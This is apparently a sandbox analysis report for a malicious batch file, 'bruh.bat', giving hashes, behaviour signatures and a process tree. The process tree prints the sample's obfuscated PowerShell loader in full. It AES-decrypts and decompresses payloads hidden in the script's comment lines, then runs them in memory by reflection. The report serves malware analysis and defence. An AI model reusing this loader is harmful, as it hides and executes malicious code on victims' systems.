Analysis
- max time kernel
122s - max time network
123s - platform
windows7_x64 - resource
win7-20240705-en - resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system - submitted
23/08/2024, 02:04
Static task
static1
Behavioral task
behavioral1
Sample
bruh.bat
Resource
win7-20240705-en
4 signatures
150 seconds
General
- Target bruh.bat
- Size 3.4MB
- Sample240823-chdnsasbpn
- SHA256 25e9e2452ab80045dbc60e1781170534211733b329cf63817fcec01e02dc9491
- MD5 bf50ed4bfb702f51837dad565fdce9fc
- SHA1 a8cf36df90b9a2df2afc72026a0b3e9ed13b739b
- SHA512 d140766c0ef4b390397893cb26949c958654c28c13a7cb80ef80a111f0891e3fb2643ddf27fef77bcd76e61b02afde10581ae71b98117134158d9ab0ded53104
- SSDEEP 49152:43A6IQI5RqmiNuevBY3uiMBzo02xBaEIG:l
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2544 powershell.exe - Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2544 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2544 powershell.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2440 wrote to memory of 2304 2440 cmd.exe 31 PID 2440 wrote to memory of 2304 2440 cmd.exe 31 PID 2440 wrote to memory of 2304 2440 cmd.exe 31 PID 2440 wrote to memory of 2544 2440 cmd.exe 32 PID 2440 wrote to memory of 2544 2440 cmd.exe 32 PID 2440 wrote to memory of 2544 2440 cmd.exe 32
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\bruh.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2440 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function JzOrv($JOVmI){ $EZedT=[System.Security.Cryptography.Aes]::Create(); $EZedT.Mode=[System.Security.Cryptography.CipherMode]::CBC; $EZedT.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $EZedT.Key=[System.Convert]::FromBase64String('d6Y2cCuVt0qzVamv48i3xay/VeKI+dRjXg3vU0rh814='); $EZedT.IV=[System.Convert]::FromBase64String('Bo7SK+5cR91VaSDnn2FoGg=='); $cAjNt=$EZedT.CreateDecryptor(); $wIxxf=$cAjNt.TransformFinalBlock($JOVmI, 0, $JOVmI.Length); $cAjNt.Dispose(); $EZedT.Dispose(); $wIxxf;}function uykma($JOVmI){ IEX '$pQDpF=New-Object System.IO.M*em*or*yS*tr*ea*m(,$JOVmI);'.Replace('*', ''); IEX '$ddPtx=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$kYJFf=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($pQDpF, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $kYJFf.CopyTo($ddPtx); $kYJFf.Dispose(); $pQDpF.Dispose(); $ddPtx.Dispose(); $ddPtx.ToArray();}function dYMzv($JOVmI,$FyHcy){ IEX '$nWeiW=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$JOVmI);'.Replace('*', ''); IEX '$mVrtd=$nWeiW.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$mVrtd.*I*n*v*o*k*e*($null, $FyHcy);'.Replace('*', '');}$GxxuI = 'C:\Users\Admin\AppData\Local\Temp\bruh.bat';$host.UI.RawUI.WindowTitle = $GxxuI;$mmNci=[System.IO.File]::ReadAllText($GxxuI).Split([Environment]::NewLine);foreach ($ZhwgB in $mmNci) { if ($ZhwgB.StartsWith(':: ')) { $AUgXv=$ZhwgB.Substring(3); break; }}$GEWnH=[string[]]$AUgXv.Split('\');IEX '$xeNzk=uykma (JzOrv ([*C*o*n*v*e*rt]::*F*r*o*m*B*a*se6*4*S*t*ri*n*g*($GEWnH[0])));'.Replace('*', '');IEX '$ayRbn=uykma (JzOrv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($GEWnH[1])));'.Replace('*', '');dYMzv $xeNzk $null;dYMzv $ayRbn (,[string[]] ('%KfkGZ')); "2⤵PID:2304
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2544
-